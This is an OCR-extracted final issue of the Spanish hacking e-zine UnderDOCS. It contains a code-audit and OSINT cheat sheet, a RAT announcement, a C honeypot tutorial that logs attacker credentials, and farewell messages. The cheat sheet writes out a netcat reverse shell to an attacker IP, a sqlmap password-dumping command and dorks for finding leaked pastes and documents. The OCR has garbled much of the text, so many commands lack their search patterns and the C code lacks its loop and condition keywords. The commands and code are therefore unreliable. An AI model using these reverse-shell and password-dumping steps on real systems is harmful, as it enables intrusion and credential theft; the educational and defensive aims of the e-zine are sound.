UnderDOCS - Agosto 2019,
Numero 1
undercOde.org/foro/e-
Zines/t40206

INDIVIDUALMENTE SOMOS UNA
GOTA, PERO JUNTOS SOMOS UN
OCEANO

UnderDOCS - Octubre 2019,
NuUmero 3
undercOde.org/foro/e-
zines/t40728

CONVERTIR UNA DEBILIDAD
EN UNA OPORTUNIDAD
UnderDOCS - Diciembre 2019,
NUmero 5
undercOde.org/foro/e-
Zines/t41366

DIGITAL

QUE SU META SEA:
GANARLE A SU MEJOR
EXCUSA
UnderDOCS - Febrero 2020,

NUmero 7
undercOde.org/foro/e-
Zines/t41728

LO MEJOR QUE PODEMOS
HACER ES ESPERAR
UnderDOCS - Abril 2020,
NUmero 9
undercOde.org/foro/e-
zines/underdocs-abril-2020-
numero-9

DIGITAL

LA GRATITUD
ES LA MEJOR ACTITUD
UnderDOCS - Septiembre 2019,
NuUmero 2
undercOde.org/foro/e-
zines/t40459

LAS DIFERENCIAS
NOS ENRIQUECEN
UnderDOCS - Noviembre 2019,
NUmero 4
undercOde.org/foro/e-
zines/t41130/

CELEBRAMOS 9 ANOS DEL
INICIO DE NUESTRA
COMUNIDAD
UnderDOCS - Enero 2020,
NUmero 6
undercOde.org/foro/e-
zines/t41548

LAS UNDERGIRLS
NO SOMOS INVISIBLES
UnderDOCS - Marzo 2020,
NUmero 8
undercOde.org/foro/e-
zines/t41893

NO TODOS LOS HEROES
USAN CAPA
UnderDOCS - Mayo 2020,
Numero 10
undercOde.org/foro/e-
zines/underdocs-mayo-2020-
numero-10

DIGITAL

ENSENAR ES APRENDER
DOS VECES
UnderDOCS - Junio 2020,
Numero 11
undercOde.org/foro/e-
zines/underdocs-junio-
2020-numero-11

Gracias a todos los que confiaron en nosotros y seguimos con nuevos proyectos, nuevas experiencias, nuevas expectativas.



https://underc0de.org/foro/e-zines/t40206/msg135151/#msg135151
https://underc0de.org/foro/e-zines/t40206/msg135151/#msg135151
https://underc0de.org/foro/e-zines/t40206/
https://underc0de.org/foro/e-zines/t40206/
https://underc0de.org/foro/e-zines/t40459/msg135762/#msg135762
https://underc0de.org/foro/e-zines/t40459/msg135762/#msg135762
https://underc0de.org/foro/e-zines/t40459/
https://underc0de.org/foro/e-zines/t40459/
https://underc0de.org/foro/e-zines/t40728/msg136427/#msg136427
https://underc0de.org/foro/e-zines/t40728/msg136427/#msg136427
https://underc0de.org/foro/e-zines/t40728/
https://underc0de.org/foro/e-zines/t40728/
https://underc0de.org/foro/e-zines/t41130/msg137132/#msg137132
https://underc0de.org/foro/e-zines/t41130/msg137132/#msg137132
https://underc0de.org/foro/e-zines/t41130/
https://underc0de.org/foro/e-zines/t41130/
https://underc0de.org/foro/e-zines/t41366/msg137616/#msg137616
https://underc0de.org/foro/e-zines/t41366/msg137616/#msg137616
https://underc0de.org/foro/e-zines/t41366/
https://underc0de.org/foro/e-zines/t41366/
https://underc0de.org/foro/e-zines/t41548/msg138108/#msg138108
https://underc0de.org/foro/e-zines/t41548/msg138108/#msg138108
https://underc0de.org/foro/e-zines/t41548/
https://underc0de.org/foro/e-zines/t41548/
https://underc0de.org/foro/e-zines/t41728/msg138492/#msg138492
https://underc0de.org/foro/e-zines/t41728/msg138492/#msg138492
https://underc0de.org/foro/e-zines/t41728/
https://underc0de.org/foro/e-zines/t41728/
https://underc0de.org/foro/e-zines/t41893/msg138943/#msg138943
https://underc0de.org/foro/e-zines/t41893/msg138943/#msg138943
https://underc0de.org/foro/e-zines/t41893/
https://underc0de.org/foro/e-zines/t41893/
https://underc0de.org/foro/e-zines/underdocs-abril-2020-numero-9/msg139527/#msg139527
https://underc0de.org/foro/e-zines/underdocs-abril-2020-numero-9/msg139527/#msg139527
https://underc0de.org/foro/e-zines/underdocs-abril-2020-numero-9/
https://underc0de.org/foro/e-zines/underdocs-abril-2020-numero-9/
https://underc0de.org/foro/e-zines/underdocs-abril-2020-numero-9/
https://underc0de.org/foro/e-zines/underdocs-mayo-2020-numero-10/msg140117/#msg140117
https://underc0de.org/foro/e-zines/underdocs-mayo-2020-numero-10/msg140117/#msg140117
https://underc0de.org/foro/e-zines/underdocs-mayo-2020-numero-10/
https://underc0de.org/foro/e-zines/underdocs-mayo-2020-numero-10/
https://underc0de.org/foro/e-zines/underdocs-mayo-2020-numero-10/
https://underc0de.org/foro/e-zines/underdocs-junio-2020-numero-11/msg140607/#msg140607
https://underc0de.org/foro/e-zines/underdocs-junio-2020-numero-11/msg140607/#msg140607
https://underc0de.org/foro/e-zines/underdocs-junio-2020-numero-11/
https://underc0de.org/foro/e-zines/underdocs-junio-2020-numero-11/
https://underc0de.org/foro/e-zines/underdocs-junio-2020-numero-11/

CHEAT-SHEET: AUDITORIA DE CODIGO

Comandos y dorks usados para auditoria de cédigo y reconocimiento del proyecto software, bash es una excelente opcién como
herramienta principal para realizar busquedas en el codigo, independientemente de otras herramientas que estén usando en la
auditoria. Usar expresiones regulares puede parecer pesg o al %riTcipéo, sin embargo al aprenderlas se adquiere aglidad buceando

entro del codigo.

RECONOCIMIENTO, IDENTIFICACION DEL COMPONENTE SOFTWARE

VER CADENAS DE TEXTO CONTENIDAS EN CUALQUIER ARCHIVO
strings store-app-download.apk | less

ENCONTRAR ARCHIVOS DE UN PROYECTO POR NOMBRE

find . -iname

find . -iname

find -iregex

VISUALIZAR POR CONSOLA ESTRUCTURA DE DIRECTORIOS DEL PROYECTO

tree

BUSQUEDA POR PATRONES

ENCONTRAR ARCHIVOS DE UN PROYECTO POR COINCIDENCIA EN CONTENIDO

grep -R --color
grep -Ria . --color
egrep -Ri . --color

#E1 parametro -1 nos devuelve solo la lista de archivos donde se
sirve para indicar

encuentra coincidencia. E1 cardcter especial "|"
posible coincidencia en una de varias opciones.

grep -Ril --color

#E1 parametro -h retira del output la ruta del archivo en el que se
encuentra la coincidencia. Este ejemplo es buscando un problema

sobre archivos de log

grep -Rh --color -B500 | grep SEVERE
#Buscando potencial XXE en cddigo java
egrep -Ri
d D --color
VER 30 LINEAS ANTES Y DESPUES DE LAS COINCIDENCIAS ENCONTRADAS CON
GREP
grep =R -A30 -B36 --color

COMANDO PARA HACER UN GREP, EN UNA EXTENSION O NOMBRE CONCRETO

E ARCHIVO
ind

. -name *.jsp -printf -exec grep --color

IMPRIMIR UN ARCHIVO POR COMPLETO COLOREANDO UNA PALABRA DE

BUSQUEDA

grep --color -E src/main/resources/struts.xml

CALCULAR METRICAS

CALCULANDO METRICAS DE UN PROYECTO, CONTEQO DE NUMEROS DE

ARCHIVO SEGUN SU EXTENSION
find . -type f | sed -n

PARTIR DEL DIRECTORIO ACTUAL
#Contar archivos

find . -type f -printf | we -c
#Contar directorios
find . -type d -printf | we -c

CALCULAR METRICAS DEL PROYECTO

conteo de lineas de cédigo (lineas de determinadas extensiones de archivo, para
contar sobre archivos que son estrictamente codigo y evitar otros datos).
find -regex -exec cat {} \;

| we -1

OSINT - EXPRESIONES REGULARES
FILTRAR LISTA UNICA DE MAILS A PARTIR DE UN TEXTO
cat * | grep -E -0

| sort -u > ../emails_DB.txt
EXTRACTO EN LISTA UNICA DE DOMINIOS DE MAILS
grep -Eoi
file.txt ’ .
ORDENAR LISTA UNICA DE IPS, EXPRESION REGULAR
cat datos.txt | grep -oE

ORDENAR NUMERICAMENTE LISTAS DE IPS ELIMINANDO DUPLICADOS
cat lista_IPs.txt | sort -u | sort =-n -t . -k 1,1 -k 2,2 -k 3,3 -k

4,4 > lista_IPs_ordenadas.txt
OSINT - DORKS

Dork para buscar sobre pastes indexados en google. Para esto los sites

«pastebin.com» y «gist.github.com» son los mas grandes
intext: OR intext:
OR site:gist.github.com

| sort | unig -¢ | sort -gr
CONTAR NUMERO DE ARCHIVOS Y DIRECTORIOS, RECURSIVAMENTE A

site:pastebin.com

BUSCAR DOCUMENTOS EN GOOGLE, EXTENSIONES DE ARCHIVO

Se busca concretamente sobre lo que tiene indexado el motor de

busqueda. Después si se desea recorrer el site o ejecutar

permutacion.

#En un dominio concreto, extensiones habituales

site: cheatsheet ext:odsx OR ext:odp OR

ext:txt OR ext:rtf OR ext:xml OR ext:ppt OR ext:pptx OR

ext:xls OR ext:xlsx OR ext:csv OR ext:doc OR ext:docx

OR ext:pdf

#En cualquier dominio, extensiones menos habituales
ext:key OR ext:mp3 OR ext:wav OR ext:flac OR

ext:mpg OR ext:mpeg OR ext:mp4 OR ext:jpg OR ext:jpeg

OR ext:png OR ext:zip OR ext:rar OR ext:7z OR ext:odt

#*Extensiones que se quieran buscar con OR

#*Site donde se quiera buscar

#*Si se quiere filtrar por palabras

BUSCAR DOCUMENTOS INDEXADOS CON PROGRAMAS

python rastleak.py -d sans.org -o -n -e -f -
metagoofil -d sans.org -t
doc,x1s,ppt,odp,ods,docx,x1sx,pptx -1 -n -0

documentos-sans -f metagoofil_output_sans.org.html ;
MONITORIZAR Y BUSCAR SOBRE TWITTER. SE DEBEN CUMPLIR AL
MENOS UNA CONDICION DE CADA UNO DE LOS DOS GRUPOS DE
PARENTESIS

( OR ) (hacked OR pwned OR tangodown
OR offline OR sqli OR xss OR ddos) since:2019-01-01

HACKING ETICO, CTFS, ETC...

NETCAT - SHELL REVERSA

Comando a ejecutar en nuestra maguina atacante (Se queda ala
escucha en un puerto)

nc -lvp 3333

EJECUTAR EN MAQUINA DESTINO (SE CONECTA AL PUERTO
ANTERIORMENTE ABIERTO EN NUESTRA MAQUINA ATACANTE,
ESTABLECE CONEXION Y ENVIA A /BIN/BASH LO QUE VAYAMOS
ESCRIBIENDO)

nc 10.10.1.8 3333 -e /bin/bash

TUNELAR MEDIANTE SSH

#ssh [-N no execute remote command] [-f background
before command execution] [-D bind address] [PORT]
[user@]hostname

ssh -NfD user@1e.10.1.8

#proxychains [program]

proxychains firefox

INYECCIONES SQL

#sqlmap [-u URL] --passwords

sqlmap -u http://10.10.1.8:8088/login.php?PASS=1
--passwords

ANALIZAR WEB DESDE CONSOLA

lynx https://www.hackplayers.com/

curl -i -X GET https://underc@de.org/ | html2text |
less

curl -i -X GET https://underc@de.org/ | less
METADATQS

#Leer:

exiftool -all * | less

#Borrar:

exiftool -all=\ documento.doc

VER TIPOS DE ARCHIVO

file *

BUSCAR UNA CADENA DE TEXTO EN TODOS LOS ARCHIVOS A PARTIR
DE UNA RUTA

grep -R --text /home /

EXTRAER TODAS LAS IPS DESDE EL DIRECTORIO ACTUAL, CON
NOMBRES DE ARCHIVO

grep -oER --text

UNDERCODE.ORG
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Herramienta de administracion
remota multiplataforma
Caracteristicas:
* Conexion cifrada (TLS)
* Transferencia de archivos
* Recopilacién de informacién
* Shell inversa interactiva
*Descarga de archivos desde url
SOURCE:
github.com/d3adlym1nd/unnamed_rat

La documentacion estd en e
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EASYHONEYPOT

En esta ocasién en Undertools DIY se desarrollard un Honeypot sencillo que obtendra las
direcciones IP, usuario y password de los atacantes para los servicios telnet y FTP. n disefio sencillo
de un honeypot® que no pretende emular los servicios completos con intencién de
despistar a los atacantes, si no emular una falsa autenticacién de tres servicios con
intencion de poder obtener tanto las direcciones IP de los distintos atacantes como las
credenciales que estos utilizan para intentar hacer login en los diferentes servicios.

Escrito por: @ANIMANEGRA | COLABORADOR UNDERCODE
Siempre pensando en que la comprension y creacién de la tecnologia es un arte agrario y que
esta tiene una vinculacién consustancial con la sociedad, entiende que la mejor forma de que
se prospere es regar y cuidar con mesura los conocimientos que en ella se portan. y ver como
poco a poco crece el conocimiento y destreza, gracias a la informacién, con ayuda de
explicaciones poder conformar una sociedad tecnolégica que vaya de la mano de la ética
humana. Ampliamente ligado al espiritu investigador, educador, social y ético intenta formar parte de la gente
que ofrece una pequefia ayuda a que la tecnologia se convierta en una herramienta de unién y no en un muro
a saltar, otorgando comprensién en un mundo que para muchos resulta magico y por ende, aterrador en
muchos de sus aspectos.
Contacto: undercOde.org/foro/profile/animanegra
Redes Sociales:
Github: github.com/4nimanegra

n lenguaje muy utilizado como primera aproximacién a la programacion, es
realmente sencillo de entender y comprender el funcionamiento basico e
implementacion de un virus puede que sea una buena manera de
aproximarse al mundo del viring o de la programacion de virus.

-

5 El codigo completo esté disponible en github.com/4nimanegra

UNDERTOOLS DIY

undercOde.org
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Normalmente los honeypots o tarros de miel, se trata de equipos completos donde se instalan servicios que
estan completamente logueados. Cuando un atacante intenta entrar en una empresa normalmente lo hace
utilizando a la gacela herida. Se busca el punto de insercién mas vulnerable para desde ahi poder pivotar y
atacar otros equipos.

Los honeypots aparecen como sistemas de seguridad en los que normalmente los atacantes caen y dan
avisos a los sysadmins para que revisen los logs de dichos sistemas por completo, en ellos normalmente se
veran que tipos de programas estan intentando introducir los atacantes en la organizacion, asi como que tipo
de acciones intentan realizar de manera que la organizacion sabe por donde estan yendo los ataques para
poder anticiparse a ataques en equipos reales.

En el caso que nos ocupa se pretende realizar un honeypot ligero que permitira imitar que disponemos de

tres:
e Servicios
o telnet
o ftp

Para un posible atacante, una vez que iniciemos el honeypot ligero, estaremos dando esos servicios, pero
pediremos las credenciales de acceso. Con esto conseguiremos que los atacantes tanto humanos como bots
intenten realizar desde sus direcciones IP los ataques a las credenciales mediante fuerza bruta. Lo que
obtendremos sera las direcciones IP de los atacantes para poder por ejemplo limitar su entrada mediante
firewalls una vez identificados. Y por otro lado obtener un set de usuarios y contrasefias que utilizan los
atacantes. Dicho set se puede utilizar tanto para realizar ataques con dichas credenciales a nuestros equipos
reales para verificar que no puedan entrar como para guardarlos y ampliar los diccionarios de ataques para
la realizacion de pentesting.

Se han elegido mayormente servicios sin cifrar de cara a que la implementaciéon del proceso de autenticaciéon
sea simple y se pueda realizar de forma sencilla mediante el API de sockets.

El programa principal generara tres hilos para atender a cada uno de los servidores, de modo que se ha
encapsulado cada pseudo-servidor en una funcion distinta.

Cadigo:
1. int main(int argc, char **argv) {
2. signal (SIGPIPE, SIG IGN);
3. pthread t ftpThread, telnetThread;
4.
5. pthread create (&ftpThread, NULL, &¢ftpHonney, NULL) ;
6. pthread create (&telnetThread, NULL, &¢telnetHonney, NULL);
7. (1==1) {sleep (60);}}

Tras la generacién de los servidores el programa principal se quedara en un bucle infinito que llamara a la
funcién de dormir para no ejecutar ciclos de CPU en una tarea vacia o de simple espera. En lo que se refiere
a implementacion de servidores efectivos, empezaremos por el servicio cuyo proceso de autenticacion

probablemente sea el mas sencillo de implementar, el servicio de telnet.
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Como cualquier servidor empezaremos por la apertura de un socket en modo escucha. Esto hara que nuestro
ordenador esté escuchando en el puerto que se especificado, 2300 en nuestro caso, para que clientes se
conecten e interaccionen con nuestro programa.

La funcion que genera el servidor se llama telnetHoney y tenemos una serie de variables para poder
especificar las caracteristicas del servidor y poder interactuar con los clientes. Resaltan entre las variables ip
e ipclient que son estructuras para poder especificar y recoger la informacion de la direccién IP y puertos
del servidor y del cliente. Se han creado también tres arrays para recoger los datos que envian los clientes,
data para los datos sin preprocesar y usuario y password para recoger esos datos que insertara el cliente
gue se conecte al servidor pensando que es un servidor de telnet. Es importante por norma general setear
los buffers a cero, se puede hacer de forma sencilla con la funcién memset.

Se incluye también una variable de tipo timeval para poder obtener la fecha exacta de cuando un cliente se
ha conectado a imprimir por pantalla por cada cliente su direccion IP, usuario, password y la hora en la que
realiz6 el intento de conexién.

Cadigo:
1. int telnetHonney () {
2 int telnetSocket,clientLen=0, clientSocket;
3 struct sockaddr in ip;
4. struct sockaddr in ipclient;
5 char data[100];
6 memset (data, 0,100*sizeof (char)) ;
7 char user[100];
8 memset (user,0,100*sizeof (char)) ;
9. char pass[100];
10. memset (pass, 0,100*sizeof (char));
11. struct timeval mytime;
12. bzero ((char *) &ip, sizeof (ip));
13. ip.sin_ family = AF INET;
14. ip.sin_addr.s_addr = htonl (INADDR ANY) ;
15. ip.sin port = htons(2300);

Como se puede observar, rellenamos los datos referentes al servidor, pero la estructura del cliente se
rellenara cuando este se conecte. Se debe tener en cuenta que a priori no se puede saber desde que sitios
se conectaran a nuestro honetpot.

En la estructura de la variable ip hemos rellenado para que el socket que abramos sera de la capa de
protocolos de red, AF_INET, en cualquiera de las direcciones IP del ordenador, INADDR_ANY, y en el puerto
2300, htons(2300). Se debera tener en cuenta que este honeypot abre el servicio para todas las tarjetas de
red que tengamos en el equipo y no so6lo en una direccién IP especifica de una de ellas.


http://www.opengroup.org/onlinepubs/009695399/functions/memset.html
http://www.opengroup.org/onlinepubs/009695399/functions/memset.html
http://www.opengroup.org/onlinepubs/009695399/functions/memset.html
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Ahora ya estamos en disposicion de abrir el socket y ponernos a escuchar:

Cadigo:
1. clientlen=sizeof (ipclient)
2. telnetSocket = socket (AF INET, SOCK STREAM, 0) ;
3. (bind (telnetSocket, &ip , sizeof (ip))<0) { -1;}
4. listen (telnetSocket , 20);
5. clientSocket=0;
6. (1 == 1){
7. (clientSocket != 0) {close(clientSocket);}
8. clientSocket = accept(telnetSocket, &éipclient, &clientlen) ;

Mediante las funciones socket, bind y listen, hemos preparado nuestro servidor para empezar a aceptar
clientes. A partir de ese momento en cada llamada a la funcién accept, el programa quedara en espera a que
un cliente se conecte. Cuando lo haga, dicha funcién nos ofrece por un lado la estructura de datos de ipclient
con la informacién del cliente entre la que esta la direccion IP y puerto del cliente que se esta conectando y
nos ofrece un descriptor de fichero, clientsocket, en el que podremos hacer lecturas y escrituras para
intercambiar datos con él.

A partir de aqui simplemente interaccionaremos con ese fichero para realizar el proceso estandar que espera
el cliente para su conexion y autenticacion en el servicio de telnet.

El proceso de autenticacion en el servicio de telnet se basa en que cuando nos conectemos al servidor, este
envie la palabra user: al cliente y se quedara esperando a que el cliente ponga un nombre de usuario.
Después de que el usuario ha introducido su nombre de usuario el servidor debera enviar la palabra
password: al cliente, y de forma analoga al anterior, se quedara a la espera de que el cliente introduzca una
password. Si las credenciales son incorrectas el servidor devolvera una frase que notifique al usuario de que
las credenciales son incorrectas, por ejemplo, enviando password incorrect, cerrando después la conexion.
Para escribir dentro del descriptor de fichero se utilizan las funciones write, read y sscanf. Antes de empezar
el proceso con el cliente obtenemos la hora mediante la funcién gettimeofday. El c6digo que ejecutamos en
cada cliente que se conecta quedaria asi:

Cadigo:
1. gettimeofday (&mytime, NULL) ;
2. write(clientSocket, "user: ",06);
3. memset (data, 0,100*sizeof (char)) ;
4, (read (clientSocket, &data, 99) < 1) { I
5. data[99]1="\0";
6. sscanf (data, "%s", user) ;
7. write (clientSocket, "password: ",10);
8. memset (data, 0,100*sizeof (char)) ;
9. (read (clientSocket, &data, 99) < 1) { H
10. data[99]1="\0";
11. sscanf (data, "%s",pass) ;
12. close (clientSocket) ;
13. printf ("%d:%s:TELNET:%s:%s\n", mytime.tv sec,inet ntoa(ipclient.sin addr
) ,user,pass) ;
14. fflush (stdout) ;
15. clientSocket=0;}}



http://www.opengroup.org/onlinepubs/009695399/functions/memset.html
http://www.opengroup.org/onlinepubs/009695399/functions/sscanf.html
http://www.opengroup.org/onlinepubs/009695399/functions/memset.html
http://www.opengroup.org/onlinepubs/009695399/functions/sscanf.html
http://www.opengroup.org/onlinepubs/009695399/functions/printf.html
http://www.opengroup.org/onlinepubs/009695399/functions/fflush.html
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Si al pedir el usuario o el password el cliente no envia datos simplemente pasaremos a atender a un nuevo
cliente. En nuestro honeypot queremos los usuarios y los passwords no interaccionar de otra forma con los
clientes. Al momento que un cliente se salga del estandar cerramos el socket para atender a otro que nos
ofrezca la informacién que deseamos. Una vez que se tiene rellenada la variable user y pass cerramos al cliente
e imprimimos por pantalla los datos obtenidos. El formato de salida de cada linea sera el siguiente:

Cadigo:

‘l. 1591864487:314.535.197.32: TELNET: root:

Se ofrece por pantalla el tiempo en segundos, la direccion IP, el protocolo usado, el usuario y el password. Se
debe tener en cuenta que los clientes se podran conectar a cualquiera de los servidores y deberemos de saber
a cual de ellos corresponde el usuario y password que estamos observando. El honeypot del servicio ftp es
algo mas complicado, dado que el servicio de ftp sigue un protocolo algo diferente. En base la primera parte
de preparacion de los sockets es exactamente igual, ahora nos centraremos en la parte de la peticién del
usuario y password. Hay que decir que en este caso el puerto de escucha que utilizaremos es el 2100.

Nada mas conectar se le debera enviar al cliente la palabra 200, que le indica al cliente que el servidor ftp esta
preparado para aceptar comandos. El cliente que se desea autenticar enviara la palabra USER seguida del nombre
del usuario, por lo que el servidor leera el envio del cliente metiéndolo en el buffer data. Se obtendra el nombre de
usuario de dicho buffer mediante la funcién sscanf, especificando que deseamos el string que viene después de la
palabra USER. Si se ha obtenido un usuario se enviara la palabra 331, que le dice al cliente que el usuario que ha
introducido necesita de una password. De forma analoga al proceso del usuario el protocolo exige que se envie la
palabra PASS seguida de la password. Por lo que se realizara el mismo proceso que para el usuario, pero esta vez
con la palabra PASS. Una vez hecho esto ya tenemos el usuario y la pass, se enviara la palabra 530 que es el cédigo
de error en las credenciales seguida de una frase indicando que las credenciales son incorrectas. Se cerrara el socket
y se imprimiran al igual que en el caso del telnet, las credenciales obtenidas del cliente que se ha intentado conectar
a nuestro honeypot.

Codigo:
1. write(clientSocket,"200 \r\n",6);
2 memset (data,0,100*sizeof (char)) ;
3. (read (clientSocket, &data, 99) < 6) { HE
4, data[99]="\0";
5 user[0]1="\0";
6 sscanf (data, "USER %s'",user) ;
7 write (clientSocket,"331 \r\n", 6);
8. memset (data,0,100*sizeof (char)) ;
9. (read (clientSocket, &data, 99) < 6) { HE
10. data[99]="\0";
11. pass[0]1="\0";
12. sscanf (data, "PASS %s'",pass) ;
13. write (clientSocket,"530 User cannot log in.\r\n",25);
14. close (clientSocket) ;
15. printf("%d:%S:FTP:%s:%s\n",mytime.tvisec,
16. inet ntoa(ipclient.sin addr) ,user,pass);
17. fflush (stdout) ;
18. clientSocket=0;1}}



http://www.opengroup.org/onlinepubs/009695399/functions/memset.html
http://www.opengroup.org/onlinepubs/009695399/functions/sscanf.html
http://www.opengroup.org/onlinepubs/009695399/functions/memset.html
http://www.opengroup.org/onlinepubs/009695399/functions/sscanf.html
http://www.opengroup.org/onlinepubs/009695399/functions/printf.html
http://www.opengroup.org/onlinepubs/009695399/functions/fflush.html
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Para compilar el programa simplemente se debera ejecutar la siguiente linea:
Codigo:

‘l. user@host:~/gcc -o EasyHonneypot EasyHonneypot.c -pthread

Por ultimo, queda mapear los puertos del router a nuestro honeypot para ver como se conectan los atacantes
a él. El hecho de usar los puertos 2100 y 2300 en lugar de los puertos estandar es porque de esta forma no
requerimos de ejecutar nuestro honeypot con privilegios de root. Si el router no tiene upnp activado, el mapeo
de puertos debera hacerse a mano desde la interfaz web o el proceso de configuracion especifico de este. Se
deberan mapear los puertos externos 21y 23 hacia nuestra direccion IP local a los puertos 2100 y 2300.

En caso de tener upnp activado en el router se puede utilizar simplemente el comando upnpc para redirigir
los puertos externos del router a nuestro equipo. Si por ejemplo nuestra IP local es la 10.0.0.41, procederiamos
de la siguiente manera:

Cédigo:

1. user@host:~/upnpc -a 10.0.0.41 2100 21 tcp
2. user@host:~/upnpc -a 10.0.0.41 2300 23 tcp

Ahora ejecutamos el honeypot y en pocos minutos, tendremos conexiones:
Cédigo:

1. user@host:~/./EasyHonneypot

2. 1591864478:114.235.17.32:TELNET:Administrator:admin
3. 1591864479:114.235.17.32:TELNET: root:zlxx.

4. 1591864481:202.3.1.56:FTP:anon:anon

5. 1591864482:114.235.17.32:TELNET: root:ivdev




MEI‘ISEjES DE DESPEDIDA

Estimados lectores y usuarios de UndercOde, quiero

darles las gracias por apoyar la comunidad durante estos 9
afios que llevamos online.

Para tranquilidad de todos, he pagado el dominio de
UndercOde hasta el 2029 y con animos de reservarlo por
varios afios mas con el fin de preservar el conocimiento para
futuras generaciones.

Mil gracias a todos por aportar su granito de arena dejando
posts en el foro, dudas o ayudando a los demas.
iEsperamos continuar creciendo y expandiéndonos cada vez
mas!

HAIL UNDERCODE!

He visto como nuestra comunidad se va renovando en

distintos aspectos y ambitos, nuestra filosofia es siempre el
compartir conocimiento, UnderDOCS ha sido un gran
vinculo para ello, sin embargo, estipulamos fuesen 12
ediciones, en esta publicaci6n damos

cierre de este proyecto.

Como Co-Directora de la revista UnderDOCS, disefiadora y
editora en cada edicién procure siempre realizar el mayor
esfuerzo, aunque evidentemente se me escaparon algunos
detalles, aun asi, agradezco infinitamente a todos los que
han depositado en su confianza compartiendo conocimiento
a través de nuestras ediciones, el apoyo y dedicacion en
cada una. Me siento muy orgullosa porque como
comunidad hemos crecido bastante, hemos aprendido y
ampliado nuestras expectativas, sabemos que podemos
llegar mas lejos si nos lo proponemos.

Hemos cumplido un ciclo. Esta es la edicion ultima del

proyecto. No quiere decir eso que abandonaremos nuestros
principios basicos: la solidaridad y la libertad del
conocimiento; valores que nos hacen no solamente mas
libres sino mejores personas.

Volveremos con proyectos nuevos, esto no es una
despedida, es solo un hasta pronto.

Agradezco a todos los que colaborasteis con generosidad
para que llegara a vosotros cada edicién, pero
fundamentalmente a mi amiga Denisse por todo el esfuerzo
realizado...

Por desgracia UnderDOCS llega a su fin. Esperamos que

hayais aprendido y disfrutado lo mismo que nosotros al
escribir los articulos.

Por suerte, UndercOde continda, por lo que nos vemos en el
foro:)

Alo largo de las distintas ediciones nos cruzamos con

muchos colaboradores con excelentes aportes, gracias a
cada uno, porque nos compartieron parte de su
conocimiento con articulos que quedaron plasmados y
ayudaran a mas de uno, en lo personal, participar en este
proyecto fue interesante, enriquecedor ya que de cada
colaborador y articulo fui aprendiendo algo, también fue un
poco dificil pero nada mejor que afrontar los retos con
amigos, me refiero a mi querida amiga Denisse
agradecimiento especial hacer equipo con ella fue
maravilloso y pilar indispensable, infinitas gracias es la
ultima edicién pero no quiere decir que esto es el final, nos
veremos en otra oportunidad, en otro proyecto {Vamos por
mas #HailUndercOde!


https://underc0de.org/foro/profile/kabindji/
https://underc0de.org/foro/profile/Gh0stSnip3r/

MEI‘ISEjES DE DESPEDIDA

A toda la comunidad UndercOde y a sus lectores.

Estamos bastante agradecidos con sus proyectos y en
especial a su revista digital en la cual nos permitieron
colaborar activamente con articulos de seguridad
informatica, IPFS, BlockChain y economia de criptomonedas.
Agradecemos a Denisse ya que sin su apoyo nada de esto
habria sido posible, de parte de todo el equipo de
Prometheo, deseamos poder seguir participando
activamente en sus futuros proyectos seria un placer para
nosotros colaborar activamente.

Agradecemos a toda su comunidad y sus foros que mas de
una vez se han consultado para resolver temas técnicos
profesionales.

Sigan asi, jéxito!

Muy recientemente bloqueaban en una famosa

plataforma de videos una de nuestras PoC de un keylogger,
porque lo tachaban de dafiino y peligroso... Nuestra
respuesta fue unanime: lo realmente dafiino y peligroso es
la ignorancia. Atacar a un sistema es la mejor manera para
aprender a defenderlo. Nunca dejéis de aprender y de
compartir el conocimiento, la informacioén nos hace libres. El
pensamiento lateral, la investigacion, probar cosas en un
sistema para las cuales no estaba disefiado... algunos nos
llaman hackers.

El camino que decidimos recorrer es sacrificado, un

ambiente que cambia constantemente y debemos
adaptarnos de la manera mas rapida posible, lo que muchas
veces nos obliga a desarrollar nuevas habilidades y
competencias que al final del dia, nos hace feliz. El ser feliz
es el objetivo principal que debemos alcanzar en el mundo
de la seguridad, cada dia aprendemos cosas nuevas,
conocemos a otros que comparten nuestro entusiasmo,
inventamos diferentes cosas para mejorar no sélo nuestras
vidas, sino también, la de otras personas, esa misma
motivacién que nos caracteriza y nos llena de satisfaccion
debe ser el motor principal para seguir aportarno al
ecosistema de la ciberseguridad, seguir creciendo en
comunidad independiente de que parte del mundo seas,
todo para fortalecer nuestros lazos de amistad y
fraternidad, lo cual se traduce en una sociedad inmensa de
buenos profesionales dispuestos a ayudar en lo que sea.

Nuevamente, el camino que decidimos recorrer es complejo
y debemos esta conscientes de ello, lleno de obstaculos y
problematicas que muchas veces desconocemos, pero es el
camino que hemos decido recorrer y no descansaremos
hasta llegar al final. Lo Gnico que importa al final del dia es
ser feliz (recuérdenlo siempre), si eres feliz compartiendo tu
conocimiento sigue haciéndolo, sigue escribiendo, sigue
grabando videos, sigue haciendo talleres o participando en
ellos, tu labor aqui es tan importante como la de cualquier
otra persona, difundamos el conocimiento, seamos cada dia
un poco menos ignorantes y disfrutemos juntos del proceso.

iGRACIAS A TODOS!
COLABORADORES ¢ LECTORES * DIFUSORES

DE
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¢;POR QUE LAS DUDAS DEBEN
PUBLICARSE EN LOS FOROS?

~
unoercConoa

ES MUY NORMAL TOPARSE CON ERRORES EN LA INFORMATICA, YA SEA CUANDO ESTAMOS PROGRAMANDO O
ARREGLANDO UNA PC, LUEGO DE UN RATO DE INTENTOS Y FRACASOS, VAMOS AL GLORIOSO GOOGLE EN BUSCA
DE UNA SOLUCION, QUIZAS ALGUIEN YA PUDO ARREGLARLO... DESPUES DE UNQS MINUTOS DE BUSQUEDA...
iBINGO! TENEMOS LA SOLUCION.

AHORA...

¢QUE PASARIA SI TODO EL MUNDO HICIERA PREGUNTAS EN GRUPOS DE FACEBOOK,
EN GRUPOS DE WHATSAPP O TELEGRAM?

LA RESPUESTA ES SIMPLE... LA SOLUCION QUEDARA UNICAMENTE EN ESE GRUPO Y SE PERDERA LUEGO DE UNOS
MINUTOS CON MENSAJES DE LOS DEMAS MIEMBROS, Y SI EN ALGUN MOMENTO A OTRA PERSONA LE PASA LO
MISMO E INTENTA GOOGLEAR LA SOLUCION A SU PROBLEMA, NO ENCONTRARA NADA...

ES POR ESTO QUE DEBEMOS APOYAR A LOS FOROS, PARA QUE CUANDO ALGUIEN TENGA UNA DUDA, PUEDA
GOOGLEARLA'YY ENCONTRARLA.

HE ESCUCHADO A MUCHAS PERSONAS DECIR: "NO PARTICIPO EN LOS FOROS PORQUE NO TENGO NADA QUE
APORTAR." CREANME QUE ES EL PENSAMIENTO MAS POBRE QUE EXISTE... LAS PREGUNTAS TAMBIEN SON
APORTES, ADEMAS, SIEMPRE SE PUEDE APORTAR CREANDO UN PEQUENO POST DE ALGUNA RAMA QUE
